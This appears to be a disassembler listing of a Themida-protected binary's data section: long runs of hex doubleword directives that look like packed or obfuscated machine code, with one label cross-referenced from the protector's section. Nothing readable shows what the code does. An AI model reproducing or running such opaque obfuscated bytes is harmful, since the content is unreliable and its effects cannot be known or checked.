		dd 0B7941BD0h, 3F215FEDh, 9E31B50Eh, 8574AFF4h,	6DCC6E3Dh
		dd 0A4805DD9h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh
		dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h
		dd 5B5453CFh, 4C381h, 0EB830000h, 241C8704h, 0E689565Ch
		dd 4C681h, 0EE810000h, 4, 5C243487h, 68243489h,	109Ch
		dd 83243C89h, 48904ECh,	7321B824h, 40BE6AA9h, 19B6BECh
		dd 8B5458C6h, 0C483243Ch, 4EC8304h, 8F243489h, 3C8B0847h
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch
		dd 4C4815Eh, 0E9000000h, 0FFFB1BE8h, 867EA415h,	156412B8h
		dd 0FFC50306h, 5A8165E0h, 8B004860h, 873C2D0Fh,	702B8B5Ch
		dd 0B0E974h, 66600000h,	0C2F6DA8Ch, 0C850F04h, 3B000000h
		dd 10149985h, 36840F06h, 3B000000h, 1020E585h, 2A840F06h
		dd 3B000000h, 102E6185h, 1E840F06h, 3B000000h, 100F7985h
		dd 12840F06h, 83000000h, 101C95BDh, 840F0106h, 5, 5FE9h
		dd 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h
		dd 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h
		dd 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h
		dd 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 104E859Dh,	5B806h
		dd 0E3FF0000h, 0D00BC361h, 0CE8h, 92720400h, 309C82F4h
		dd 5E02E430h, 0DBD8BA8h, 5B06101Ch, 9AC381F9h, 8B000069h
		dd 101AE1B5h, 89C03306h, 1009C9BDh, 1834FF06h, 1BD58D31h
		dd 0BE5A0610h, 58F4F8B9h, 0E6E7C281h, 59571BBDh, 0DD53F281h
		dd 9D015474h, 61013ADh,	1143EA81h, 958905D3h, 610003Dh
		dd 89031489h, 1029799Dh, 0C8B96606h, 3E883BFh, 8B485E50h
		dd 1007D1BDh, 24F88106h, 0FFFFF97h, 2985h, 10E900h, 55A00000h
		dd 0E79DF83h, 0CAF31EF4h, 26E344A5h, 2CE9A955h,	9F000000h
		dd 4C2A5271h, 7B33BADBh, 3CD4881Eh, 0BD239667h,	6100FB9h
		dd 0FFFF78E9h, 0FDA8A8FFh, 31CF959Ch, 76BE4F1Ah, 0C2FCE75Bh
		dd 0E935F4BBh, 76h, 3D163F38h, 726F6853h, 74756374h, 206F7420h
		dd 72617473h, 707574h, 17h dup(0)
		dd 0ADE90000h, 6800000Eh, 6156834h, 0FBE443E9h,	690B68FFh
		dd 39E90615h, 68FFFBE4h, 6156AD1h, 0FBE42FE9h, 6B1F68FFh
		dd 25E90615h, 68FFFBE4h, 6156BF9h, 0FBE41BE9h, 6C6E68FFh
		dd 11E90615h, 68FFFBE4h, 6157067h, 0FBE407E9h, 72CE68FFh
		dd 0FDE90615h, 68FFFBE3h, 61573DBh, 0FBE3F3E9h,	0BB6D62FFh
		dd 7C117E6h, 0C0726B5Ah, 782A2293h, 0CE88DA2Bh,	40C3B381h
		dd 0B203500Ah, 3DB0E59Fh, 0BB0A5709h, 43A1EEA8h, 0AB3443B0h
		dd 0C7211DDDh, 0AA075CD3h, 0C8453A5Dh, 3BC81B17h, 17C8451Ch
		dd 4D194D39h, 73E89976h, 943BF5EBh, 0D118ABE6h,	0E78C6EA5h
		dd 184CD228h, 0DEED3C57h, 0C46A6F24h, 4884F1C0h, 1289BB96h
		dd 0A1A605D6h, 62780300h, 941DD897h, 943BF5E5h,	7E29ABE6h
		dd 86A41EB6h, 209F4FE5h, 0B875C0D3h, 5A00F11h, 9382A72Dh
		dd 4096BEh, 48EA0000h, 0D690C11Ah, 68570BB7h, 0F458FC17h
		dd 7E41C25h, 0C7731AD4h, 0F3F5D29Bh, 841DD8B5h,	87AEF998h
		dd 4811B8B4h, 0D423E099h, 0B8B50827h, 54A14D11h, 7C2647F9h
		dd 0BE934816h, 0B307h, 0AB5A5B00h, 685DFEB8h, 0CB1AB973h
		dd 67B6DD97h, 3776AB74h, 131ADEFh, 0ECDF2E55h, 1C2EBB32h
		dd 0EEAF5B62h, 0F7F448B7h, 538817C8h, 0EAF9CC99h, 2309130h
		dd 0BAF8837Ah, 5D1DD8FCh, 51FDE4B1h, 0DA25D62Dh, 11B8DFB7h
		dd 56ADEE9Eh, 0CB9797A9h, 0BD34E017h, 33601A30h, 0E0D690C2h
		dd 0E212B18Eh, 7019AFB2h, 2800000Ch, 0D5287D2Fh, 299CC983h
		dd 0E0CD8234h, 905D32E4h, 61D3803Ah, 2BC0E91h, 0AF69604Dh
		dd 9BB13E2h, 0C07A695Ch, 35C21193h, 1DDDAD22h, 5CE59533h
		dd 0FDB7AB06h, 44D67906h, 8F7F17C8h, 2C1F8EC3h,	93807B72h
		dd 0B4866457h, 7A287D1Eh, 8B621A48h, 0D845E2E0h, 1048951Dh
		dd 38830A56h, 11B84515h, 986A03BAh, 0BE93B812h,	0B803h
		dd 75C4700h, 0E3F7464Dh, 0C89C4E88h, 0A0528CF9h, 0B387D4FFh
		dd 0C917C849h, 42B3E09Ah, 0D5385711h, 49480669h, 0C0EF2415h
		dd 76D01D94h, 0DB289BC4h, 1DD7861Dh, 54550AFAh,	0DC2796EEh
		dd 17CA1DBDh, 6615EC98h, 0B60BBD17h, 39E5EC9Eh,	833D8D78h
		dd 2130BB2Ch, 340BA4B4h, 6F3E2748h, 0CF4BA15Bh,	0F3E21424h
		dd 0B99D870h, 0FE510000h, 0B2A6174Ch, 35AABF8h,	9BB10451h
		dd 1949BCE9h, 7242325Fh, 0B4E19BAFh, 9561041h, 0A3F0A2BCh
		dd 1A470152h, 9DBC479Ah, 0B81DDDADh, 65C6A1Eh, 0B5A6174Ch
		dd 0DE3A41ECh, 0CA965B7Eh, 2AD52695h, 17C90107h, 8E35E7DFh
		dd 0C99282E0h, 0AE3D5AA1h, 1878F77Ah, 40ABCE39h, 0FAAA17C9h
		dd 0CB0005A6h, 0FD53A211h, 240CDB34h, 0A7FBCB53h, 4B80CD06h
		dd 79D32291h, 59783226h, 0EDB8F9ADh, 6F3E46ECh,	0D6014994h
		dd 20411925h, 733A58A3h, 711D1DD9h, 116E0552h, 0F26111B9h
		dd 0D9ED7C37h, 0F65C8627h, 0E7BE92EBh, 7, 817133Bh, 48970000h
		dd 0E08B621Ah, 1DD8561Ah, 53A221CDh, 8774600h, 0B833DC7Bh
		dd 0E48D7911h, 651F3481h, 57A4115Eh, 3A8E78FCh,	6135E7DFh
		dd 65C01362h, 0E6EDB973h, 0DFF7B231h, 917691E2h, 0E1E06E4Fh
		dd 0A540630Ch, 7421DBF0h, 0F9985281h, 738288AEh, 0C1BE3DAAh
		dd 359E06Ah, 0C1843251h, 416AFD1Ah, 0FD4E07A2h,	0AC9F0E43h
		dd 0FF6CFBF2h, 0AA736670h, 0CAA86276h, 0B10291DAh, 0DB3C42D6h
		dd 0BDDE2C76h, 743E204Ah, 0E8A2B8AAh, 8F419CE9h, 670271F0h
		dd 54A3FC4Fh, 743D88A7h, 8021CDAAh, 0C81BCA63h,	5F74410Eh
		dd 3CE27502h, 8373AA74h, 3C91E0CFh, 0ED48038Ah,	6D9A3232h
		dd 7E15560Ah, 604F371Bh, 8463E913h, 774636B0h, 12DC7B08h
		dd 8D79A464h, 0B61F81E4h, 509FE74Bh, 743675A3h,	8CC431AAh
		dd 5AAB89D2h, 46FE5204h, 64CFCB7Bh, 579E57Ch, 176F41AEh
		dd 0BC68C653h, 0F68EB415h, 8A637C07h, 0EFEC046h, 4701529Fh
		dd 0FEB8AB1Ah, 995A52A8h, 851B9E39h, 9D3h, 0EDA2548Bh
		dd 410EC800h, 0FAA75974h, 721FD10Bh, 0C0954F83h, 0D101846Ch
		dd 667B4A17h, 0D006F7ACh, 4F84711Eh, 8DDCC095h,	0DDAF4FE2h
		dd 0C068061Dh, 0FEB8AB5Ah, 3B8AD37Fh, 0C17BCD28h, 0A55F73C2h
		dd 0B747A5F1h, 3D5F093h, 985E880h, 0A3D0000h, 0A6BA0B58h
		dd 0F46B7ECh, 9FB5085Dh, 1545B8EDh, 4E36065Bh, 88DD97CBh
		dd 356A2435h, 87DC8EC8h, 366B2536h, 0B9D823B6h,	9C1DDDAFh
		dd 75C5642h, 0E3F7464Dh, 0F8877C29h, 0C844EC8Bh, 0F4BD6917h
		dd 62CD5FCh, 96C42F7Eh,	101DD868h, 86D2A45Fh, 0C45FA86Bh
		dd 0B8105EF1h, 56F98611h, 0FF11B810h, 3C65110Fh, 0B10C4C38h
		dd 0D375695Fh, 0BE3549F5h, 0ABF5F31h, 358C7856h, 0B35FA5Ah
		dd 0DC85A729h, 70AB68B7h, 2E7F0D0Ah, 92C802C8h,	879127AFh
		dd 7C67CBE6h, 0EACB60EFh, 5D09F549h, 9C31766h, 3093DC8Ah
		dd 0B4C330BFh, 0A149EACAh, 0C25BACF5h, 9F4FFE50h, 46F00EFh
		dd 43D74675h, 986B34E0h, 1340FAE9h, 49FB51A0h, 0F4AE9D28h
		dd 0E19298F6h, 27BDBCA9h, 8ABh,	0E5BA6C63h, 5906C018h
		dd 92BF716Ch, 2A772923h, 98CD87DBh, 959DCA4h, 9EB3024Fh
		dd 83EAFE4h, 0A7BC0956h, 0A534B8EDh, 0DDB0375Ah, 0D8C01E1Dh
		dd 464D075Ch, 782DDFF7h, 0C8454887h, 0A0E44A17h, 0A9B8A651h
		dd 37E71DDDh, 702A39C8h, 0C781D223h, 0AF6979C8h, 3544AF40h
		dd 2011B2DDh, 0A92B2C65h, 0EFA3D013h, 7ED825AEh, 8EAAEECCh
		dd 6BEEDC06h, 836D5h, 27D9EE00h, 9B558B7Ah, 2CDEF7C6h
		dd 9C4E8677h, 2AE4F6C7h, 7C3F0775h, 6F7AC66h, 794C19D3h
		dd 0FDEB365h, 4F4D02BCh, 0B0E06FFCh, 0DB751DDDh, 0AA075C2Fh
		dd 0C8453A5Dh, 376B1B17h, 0BF1A4998h, 79BDC089h, 167DB602h
		dd 0CB97434Ah, 8A5385F4h, 7B1FE25Eh, 16570BB4h,	0EB86157Dh
		dd 226F293Ah, 83902AB0h, 46B142B8h, 17C86933h, 0EAE99BB3h
		dd 2546363Ch, 4EC77h, 1A48CB00h, 0EBDE8B62h, 0FE49231h
		dd 655EFFB9h, 771A6516h, 0DE17C845h, 1C9A6D2Eh,	831DDDABh
		dd 1ECB1C93h, 0D0357628h, 15F2C17Bh, 55A5F118h,	0F5B0F1ECh
		dd 8E3543F4h, 2E41AE3Dh, 2711B2B6h, 9D13677h, 648B1F22h
		dd 0F85E34EDh, 0E93805AFh, 5Fh,	5EA95A41h, 17C8453Bh, 1D3CC71Ah
		dd 3817C845h, 0B6AB184Ch, 1D3EB3FCh, 48E7946Bh,	9C17C845h
		dd 4491A04Bh, 3FE717C8h, 0F021402Eh, 0AEEF9F85h, 6CB7D6C6h
		dd 3830930Dh, 1546B34Ah, 0D891125Bh, 0EA2994FAh, 1585D8h
		dd 5ADD0000h, 0D6FDB7ABh, 7AFE6D28h, 7DC19907h,	1E28834h
		dd 48200000h, 11626117h, 0EAB36D64h, 34B1C51Dh,	8039A891h
		dd 0F0243CA2h, 292D31h,	48750000h, 11626117h, 45821562h
		dd 14D317C8h, 0A71C3483h, 5A034FB3h, 34D8F66Dh,	0EF8A3991h
		dd 0EFF78D13h, 6C7C31h,	48C40000h, 0E5926117h, 17C84552h
		dd 0D5B00403h, 0EFF7670Dh, 0D324D3A3h, 0FF7E3026h, 67D16053h
		dd 0F58417C8h, 0C867E78Ah, 0D27E6E17h, 0FB45CE89h, 28FAB328h
		dd 0B88353C2h, 31B3h, 0E7335000h, 0F2930EBh, 4896D49Dh
		dd 0E5926117h, 17C84554h, 329E1905h, 2FCA7989h,	83B3CD53h
		dd 0CBCB8h, 13040000h, 138h, 975181F0h,	0E31394D6h, 97000000h
		dd 52521748h, 0AE2AE348h, 0A6586D42h, 0D8277B27h, 0B6BDDC27h
		dd 0EC9817C8h, 0C4BF10C3h, 756528BEh, 2B6614BBh, 9EBFCE37h
		dd 189A5D29h, 0B9286Dh,	0D3E4BC22h, 3125D40Dh, 5B52007Fh
		dd 780C8110h, 8728D4C2h, 6855h,	5F770600h
		dd 48A604ADh, 0E5926117h, 17C84552h, 1F6C1303h,	37E8722Ch
		dd 0E1B16CE3h, 0D8A3E47Bh, 35EFE491h, 2F706Ch, 48B80000h
		dd 1E31BE17h, 3717C845h, 57A41B47h, 17C84538h, 552711Dh
		dd 84E8728Eh, 3B17D281h, 25A3E0D5h, 18C4h, 0CD087500h
		dd 0A5C6741Bh, 5EA95AC5h, 17C8453Bh, 7B416A1Ah,	7Ch, 0B6AB5A0Fh
		dd 448BAE59h, 0DACA17C8h, 0EBE0E586h, 0B4419231h, 2FE7D49Dh
		dd 80982CF0h, 1A3C8BD4h, 8F17C889h, 0EBE09550h,	1B33C231h
		dd 0F3BC6A69h, 0A95AE8B2h, 644F015Ch, 17C844D5h, 271F9480h
		dd 94C52C75h, 0B95F01E4h, 9A39F3E6h, 6261134Bh,	73831EB5h
		dd 7621BC6Bh, 17C8521Dh, 0E50550CFh, 0B6EA8E42h, 849EC126h
		dd 372CD9B8h, 7A8567Dh,	0FFFEDBD5h, 5A132DFFh, 97000002h
		dd 0B5AC075Ch, 7A26D4FBh, 1BD50653h, 87FF6346h,	0E7765B38h
		dd 0D8C99CFh, 0E145F64h, 591DD8C3h, 0B2D926ADh,	1D11B897h
		dd 0B1370BA6h, 0A0BE9360h, 41h,	621A48E8h, 8FDC8Bh, 5517C845h
		dd 6CFB08A9h, 5516C8FDh, 0D8457072h, 6376071Dh,	43D67906h
		dd 8F7F11B8h, 420EBCC3h, 15C7FE6Bh, 59FC474Ch, 7611B844h
		dd 0CE542EC7h, 0BFBE93B8h, 0D2h, 4D075C03h, 4D88F546h
		dd 2546F49Bh, 0D1F0AAA0h, 75928582h, 0AA15026Bh, 15CF0401h
		dd 9D3BE19Eh, 0AAB0423Ch, 5083D201h, 8BFAC996h,	0F5D29B55h
		dd 17C8762Dh, 0D42FC4Fh, 0FDEA68Ch, 0DD78A360h,	0C7E47F05h
		dd 0C8655DFCh, 630CF817h, 1B021360h, 8FDE1DDBh,	55DF803Ah
		dd 5EA95AA9h, 11B5B03Bh, 0DF99C91Ah, 6C19EAB3h,	16E7BC76h
		dd 6EAC0AC4h, 0BADC0329h, 43D21B7h, 0E2F50000h,	3E926330h
		dd 0E7DECF84h, 378D6035h, 0EDDDD085h, 260E5E33h, 0E0B56F63h
		dd 4D02BC0Dh, 0DFB46660h, 4E03BD0Eh, 0E170FB4Eh, 741DDDB4h
		dd 0AB5A2EDAh, 0BD67EDB6h, 0CADABAE0h, 84BF796h, 0E1C00D7Fh
		dd 0A91C4505h, 6352FFB9h, 0BA47B670h, 83D2F1A3h, 0A2CB9749h
		dd 3D5A97C3h, 634530F8h, 0B503BCE2h, 0B5AE35Ch,	9CAF1657h
		dd 3D8EDBE2h, 67CBCE83h, 7923D01Fh, 0A61DD8F4h,	0E30762E7h
		dd 0CC98180Ch, 0F74C88F5h, 0B847ED8Ch, 0E8BC6811h, 5F743DE9h
		dd 0B8488314h, 1CD54411h, 0CD86E955h, 169F4AECh, 9D4CA3EFh
		dd 4F0155A8h, 6B594003h, 2B9F839Eh, 83F28182h, 362C994Bh
		dd 8A9557Ch, 0C8B0D5FFh, 0ABBED917h, 0DEF0F492h, 7521135Ch
		dd 0F195B920h, 0A6607302h, 371FE05h, 9C11BDF0h,	0A6A0FB4Fh
		dd 0FF53A0F4h, 0C4903E45h, 934580EDh, 2464F1BEh, 388E0593h
		dd 3AA3D986h, 0E7000000h, 0C845375Eh, 37AC9317h, 0B6646B1Dh
		dd 0D48B5EAh, 48E7345Bh, 4017C845h, 0E6DF964Fh,	388E5F34h
		dd 94CA3786h, 0CD1AB9E2h, 17C844A7h, 0D98C25BCh, 2D7ED385h
		dd 8FD08AC0h, 50025CDBh, 38EAE431h, 0F7B23199h,	6756083Eh
		dd 6B12C41Ah, 0F483F0BFh, 6117C844h, 4AB9ECB5h,	0C3ECA6BBh
		dd 0C8582D44h, 0CD524A17h, 0BEB883C6h, 0FFFFFF94h, 4D075C02h
		dd 2AE4F746h, 0B6CE7475h, 0E3BE4C47h, 5D19F907h, 0B140AF14h
		dd 46C1EA9Ch, 1DD926BCh, 0E193CB3Ah, 0C9C8B4C0h, 0B8FBD77Eh
		dd 1C69F811h, 0C36F0EC0h, 9270099Ah, 0BE92FD0Ch, 46FDh
		dd 0AB5A4500h, 7A05FCB6h, 17C844D7h, 0E4CD8E7Eh, 48B7067Eh
		dd 0FB4EA9B9h, 7B4C1541h, 1DD8456Dh, 56A31A0Ah,	9D494802h
		dd 0FF70BFD4h, 0B843E574h, 0DB847011h, 0B84449ECh, 1ED78611h
		dd 93B8DE44h, 0C7CFBEh,	5C130000h, 0F5464D07h, 552601Ah
		dd 7738C9ACh, 0FB823C8Eh, 0DCE39DAEh, 0CF843E8Dh, 0C9261CE0h
		dd 620D5E17h, 17C91BCFh, 55BB9686h, 0C049B2CAh,	0C211F4BDh
		dd 6D1A6F67h, 17C849CAh, 0C8C79B8Bh, 0AC19461Ah, 73D6FDB7h
		dd 0BB48B7CFh, 1DD85CC5h, 7C5D32E2h, 0B43FAED6h, 17CAEE1Dh
		dd 2016D28h, 0E15D759Eh, 9BAF3EB5h, 1141B4E1h, 544D6157h
		dd 0FA79E213h, 1D662h, 87398E00h, 3BF5EBDAh, 8C3E9766h
		dd 3CEEE6D7h, 8A449667h, 1C9F67D5h, 66570CC6h, 19ECB973h
		dd 6F3E13C5h, 0EFEDA25Ch, 0B7800F5Ch, 7BD51DDDh, 4C065C8Fh
		dd 0FBB5A617h, 55A655A6h, 0C84487AAh, 0D31ECE17h, 17C843C4h
		dd 57094491h, 95D68A38h, 621A48D5h, 3D8DDC8Bh, 0DBEDDA83h
		dd 9C1DD845h, 3C43F54Fh, 70BBC28Eh, 11B844DDh, 0F1A23BF2h
		dd 0C9924C84h, 93B753D9h, 0C942BEh, 24DF0000h, 9BB3DDB8h
		dd 593CEAE9h, 0B0A190D2h, 772BD7F6h, 505CFB88h,	0DF911B8h
		dd 75C0664h, 1699764Dh,	0C9681372h, 8C17C8F1h, 3A62A5E0h
		dd 0E332610Ah, 418E35EFh, 17C877F9h, 0C9965083h, 568CE7FCh
		dd 733AF59Ch, 0CE15D434h, 12B1E5B1h, 4FB83AFh, 6E690873h
		dd 0EC17C8h, 0C8E99BB3h, 80CAB03Bh, 31DD1DD8h, 0CD17D64h
		dd 0C7731AD4h, 0D1D7249Bh, 0B617CB0Eh, 588AF7C6h, 7302F19Eh
		dd 0FE07A85Ah, 829412CCh, 0C6E21334h, 0C92DC3h,	4E810000h
		dd 0E2F6C79Ch, 538A7B28h, 0CB01F4A1h, 69794C19h, 0A292E2AFh
		dd 6431EBDFh, 0D9864091h, 1340F2ECh, 0AAF7B1A2h, 2D4CB74Ah
		dd 281DDDB8h, 65CDACEh,	0B5A6174Ch, 5CFCA6FBh, 7764D07h
		dd 3D5617D1h, 7421DBF0h, 0C01CC16Dh, 0FBADA10Eh, 837A26D4h
		dd 8F2EE0F6h, 0BE49BAE3h, 1DDDAABCh, 0EC81B6Ah,	9A9AC36Fh
		dd 7794E3EAh, 9E900BCFh, 51E08B27h, 411B340h, 0A2234C18h
		dd 5BAAF7B1h, 3140AB08h, 2411B340h, 5AA52C78h, 4CB68B25h
		dd 7BCF1E6Dh, 5F73C2C1h, 24701EA5h, 16CD687Bh, 0F8B97367h
		dd 4F04BE0Dh, 0CB36D5Eh, 0AED587BDh, 1ED79201h,	0CF1E732Dh
		dd 7B2D217Ch, 3929D827h, 1FB5DE7Fh, 3, 5CBFEB63h, 0E3325103h
		dd 4A9736F0h, 0E5B6214h, 338201BBh, 0F5E651Fh, 338201BBh
		dd 19686719h, 1E6B12C4h, 9451702Ah, 81E68956h, 4C6h, 4EE8300h
		dd 5C243487h, 53243C89h, 0C381E389h, 4,	8704EB83h, 895C241Ch
		dd 8952241Ch, 4C281E2h,	81000000h, 4EAh, 24148700h, 2434895Ch
		dd 1E5ABE56h, 0A0BB6A57h, 19BBE48h, 24348BF3h, 4C481h
		dd 8B540000h, 0C4812434h, 4, 9D968h, 241C8900h,	0FF08468Fh
		dd 815E2434h, 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFFBD5A4h
		dd 0C1364C97h, 1574C9B8h, 0FFC50306h, 0C70974E0h, 9230255Ah
		dd 0D2149C03h, 2DB03D0Dh, 8BED3D67h, 9384541Eh,	55F4416Ch
		dd 0EF732F1Ch, 0C0D6B10h, 81FA6007h, 0CD431A71h, 0EF0F4805h
		dd 0CB091848h, 0DA048524h, 8E75DD37h, 0EF1AAA4Ah, 134BBC02h
		dd 0F1C12C46h, 614C7149h, 512DC155h, 9BAF737Ah,	9C13A16Dh
		dd 0DCD5A938h, 364EDA01h, 0A31A9D2Bh, 9D50A018h, 271E072Bh
		dd 0B0EE0048h, 0F03A0352h, 2AE976h, 0F2560000h,	57F0h
		dd 9 dup(0)
		dd 536E9h, 4F923400h, 6DA45CDBh, 8AC36AF1h, 67A447CEh
		dd 81C064F3h, 31A3DFCDh, 0D8C407Fh, 189F1B5Ch, 0F4833772h
		dd 0A7A2164Bh, 96CD6D5h, 2B886BD9h, 447932A1h, 0ED55542Ah
		dd 96DCC7Ch, 374E502Dh,	0C6B34D95h, 0EB1675ACh,	1BC45307h
		dd 0E49B3AE6h, 0F3967014h, 74178EB2h, 0BE74B37h, 0A61C0FF1h
		dd 3E6DCCF5h, 271905E2h, 9BB0F194h, 0ED966820h,	8C68CCB8h
		dd 259D8C72h, 0C16DCCF5h, 0E3968865h, 43FC25BCh, 671B9A0Eh
		dd 0F5CF7336h, 4B276DCCh, 8F7FC81Eh, 0D5F1C773h, 0F12CE259h
		dd 7687EEDFh, 140048D0h, 0A1B6F195h, 17D08BE5h,	9B4E05E2h
		dd 423CA65Ah, 15D56D1Ch, 1C0F6DCCh, 6DCC15A6h, 2E2AE23Eh
		dd 0C196D577h, 2CE243E2h, 0A01DFF1h, 6DCC15B8h,	73EB005Ch
		dd 35F86489h, 0EBD77563h, 609E450Eh, 35EC4ED9h,	796FCFFCh
		dd 0AA1813EDh, 4A6DCCCFh, 57FEF2CEh, 6DCCCFEEh,	0F6F39231h
		dd 336A831Bh, 46FBh, 79325100h,	0BB095044h, 846DCC7Ch
		dd 0A71B0EF0h, 3F6DCC7Ch, 9E3506E3h, 6B35925Bh,	17233h
		dd 32D80000h, 0DD4F437Ah, 0B86CA95Eh, 6C149FBCh, 0A54A4135h
		dd 0A201BC68h, 986A2203h, 68CCB8F1h, 0A249D08Ch, 0D75BF16Dh
		dd 70245D04h, 4B95C7F4h, 8673DECAh, 0FE46EA71h,	36F61D5Dh
		dd 564A26F6h, 0F83DE7E4h, 0BA9FDA90h, 5126A13Eh, 0F7ABE28Ah
		dd 686201A2h, 0B82F9396h, 6BC76DCCh, 0E423C58Eh, 53AF168h
		dd 9AD37A11h, 6F06BDE6h, 6A70578Ah, 683733h, 92490000h
		dd 0FDC7A4D9h, 0B94996D7h, 0A882C012h, 256408D3h, 85DB224Bh
		dd 1D0944EAh, 11223419h, 56753146h, 9F5B6DAFh, 0F4427004h
		dd 0B5254C7h, 0CEF2A86Ah, 99388722h, 0F9B5F498h, 0E38FCE82h
		dd 0E023FE4h, 52972E45h, 336B098Fh, 306Fh, 7E32DD00h, 8E34533Fh
		dd 734C9F53h, 7EB355DCh, 0CC7C378Bh, 6F53CF6Dh,	7A322DBBh
		dd 0BF084F43h, 806DCC7Ch, 6C45A03Fh, 4C336B35h,	1, 427B32BEh
		dd 0C5FAB128h, 867855D1h, 6F23580Fh, 0EE37CE65h, 0FFECFE37h
		dd 6C22DF3Dh, 0B70BFE49h, 4F6DCCD7h, 64DAEFD3h,	9E3F8FFh
		dd 0FCADF922h, 96956B67h, 943CDD2Ch, 8B8F6CC8h,	5F134EF4h
		dd 3933DF03h, 0E38FCE82h, 3AF16A7Fh, 19D24905h,	0DB6930E4h
		dd 98943CDDh, 53EF9AC4h, 0B3943CDDh, 6201A2B7h,	73E71CC3h
		dd 0F4063BE4h, 0FEB359F7h, 2DDC8492h, 943CC295h, 0FCD1F571h
		dd 623B300Ah, 111DF1A8h, 2A93247h, 0DF84D9CDh, 0F52AE140h
		dd 0FA2B8639h, 480B397Ah, 81000001h, 4C1EBD5Ch,	0FC266C5Dh
		dd 0F29E7A67h, 43F72CD3h, 2AD60BB4h, 0D3BFF4ABh, 8C4EE576h
		dd 0ADF18CDh, 0E9659A51h, 629F4417h, 0AA21A188h, 69C59423h
		dd 60428B94h, 5222397Bh, 68000000h, 235E04D7h, 0D0C4FDA4h
		dd 0D3E67754h, 0AF33F608h, 47EDCC7Ch, 0D27037EBh, 0FBEDCC7Ch
		dd 528B42F9h, 500FA675h, 4D3C0ECDh, 6DCC7CD5h, 0E7B975F1h
		dd 7D91D6E6h, 3D812AD6h, 0F8131E81h, 0ED5C7155h, 0C7h
		dd 66A34813h, 0C5A29281h, 4E2B6F39h, 1EBD5C76h,	0A7324Ch
		dd 94F5AECBh, 7267FC0Ch, 0B96DA65Bh, 93ED99BDh,	70E722C8h
		dd 919581B8h, 1348FFBCh, 32672097h, 1AEAA118h, 691D3974h
		dd 0E91D6E04h, 4A26773Ah, 3CFF712Dh, 0E4564A87h, 23CC9D25h
		dd 0D9FD7994h, 0CDBC0704h, 0CB39423h, 0BEF3AC75h, 0BD1EB50Ah
		dd 5E8DE8A3h, 6A639E16h, 48FFA0C2h, 9AF42613h, 0D512B574h
		dd 72284521h, 0D48B0AF6h, 52E1F39Fh, 5E7D9CB3h,	4418CD8Ch
		dd 0B5B1659Ch, 6C81E591h, 0AF816A94h, 9C6AB082h, 0DFDE7DEDh
		dd 0B496A3FAh, 7BDFC374h, 0F00DE919h, 23955833h, 10EE1094h
		dd 892A919h, 2AD14D80h,	80089298h, 0D7CBA07Ch, 0D749DF5Bh
		dd 6F235E04h, 7087D6F3h, 26CA916Bh, 10EE12E7h, 4DF20EDBh
		dd 6277B7E5h, 0F9FACEA9h, 0C9A5A667h, 15F692E9h, 32A9596Eh
		dd 0D155417Ch, 0E18A01F5h, 2A930ACh, 1E427B32h,	8A42372h
		dd 0F2972AC3h, 792D681Eh, 0AE2DD9FDh, 2C6D20FAh, 2ECD5C48h
		dd 2D962997h, 0A3D88F96h, 0C2F7B027h, 0D714B7CEh, 6B0AB92Bh
		dd 70EC21CAh, 141742E9h, 0C5C978AEh, 0E591CA7Fh, 0B1959181h
		dd 0AD4C5h, 5DDC0000h, 0BDB96DAAh, 6D5F04A0h, 493D8032h
		dd 0B0649952h, 463A7519h, 0A95D9E4Fh, 533F7E32h, 0A5519034h
		dd 50448126h, 0A75B9439h, 55417830h, 0E68956CFh, 4C681h
		dd 0EE830000h, 24348704h, 2434895Ch, 7BB68h, 24348900h
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 6852240Ch
		dd 100F7351h, 0FFEA815Ah, 81FFFFFFh, 806A29C2h,	83C2812Fh
		dd 89C68598h, 8B545AD6h, 0C483240Ch, 8BA5204h, 81000000h
		dd 8067D5C2h, 81CA0167h, 8067D5EAh, 5A328967h, 592434FFh
		dd 4C481h, 34FF0000h, 0C4815E24h, 4, 0FB053FE9h, 0F600F4FFh
		dd 0B8C6B2CBh, 6157AAAh, 0E0FFC503h, 8FBF45h, 783C2DC5h
		dd 4095E981h, 1E4CBD7h,	30E086D8h, 72FA25E4h, 60A04F2Ah
		dd 1A9999EEh, 12613B78h, 3288BF1Eh, 24513CEFh, 1BD59234h
		dd 1E5B92C7h, 310C95BBh, 171F119Bh, 61433913h, 10150C9Eh
		dd 2303566h, 3BCDEA41h,	0D4795C9h, 54C85AAEh, 25B045C6h
		dd 5917FB4h, 75656ABFh,	5B78AABCh, 6D177E93h, 1158EDFFh
		dd 2021EB3Dh, 30F8BE6Eh, 714B589Bh, 2804AE84h, 6513E5A0h
		dd 7C988D8Dh, 9E80615h
		db 3 dup(0)
byte_5A3033	db 44h			; DATA XREF: Themida_:0054B510o
		dd 30C064A0h, 0F2C464D4h, 21799589h, 895B0610h,	1009F58Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 83995E55h, 0D275D543h, 0A59D09h,	0B5890610h
		dd 6101FB1h, 231985C7h,	5C600610h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 144334C3h
		dd 29F122C4h, 0F186079h, 85C7D0B7h, 61022C1h, 0
		dd 1599BD89h, 0B5FF0610h, 61011EDh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 17C35343h, 0D891D65Bh, 52213C4Eh
		dd 0B995FFF8h, 0F06102Dh, 0B88h, 6E900h, 2F8D0000h, 12AA1367h
		dd 95FF006Ah, 61031C9h,	68EBC08Bh, 92983D99h, 8EA4E512h
		dd 0A5B5B76Fh, 54F50C65h, 5C6842D9h, 1686C80Fh,	1C744598h
		dd 26E73533h, 2FCC9421h, 0A95FD18Ch, 40A13838h,	0F9A80405h
		dd 2AD04842h, 1865A9C2h, 4CBCCAF8h, 7B9F2425h, 28E81EAh
		dd 48334170h, 0C358753Bh, 0CF70F089h, 5B9550E2h, 8FE8A2DCh
		dd 2D71B35h, 0FD53499Fh, 8962C745h, 0CD1A7F11h,	23359D8Dh
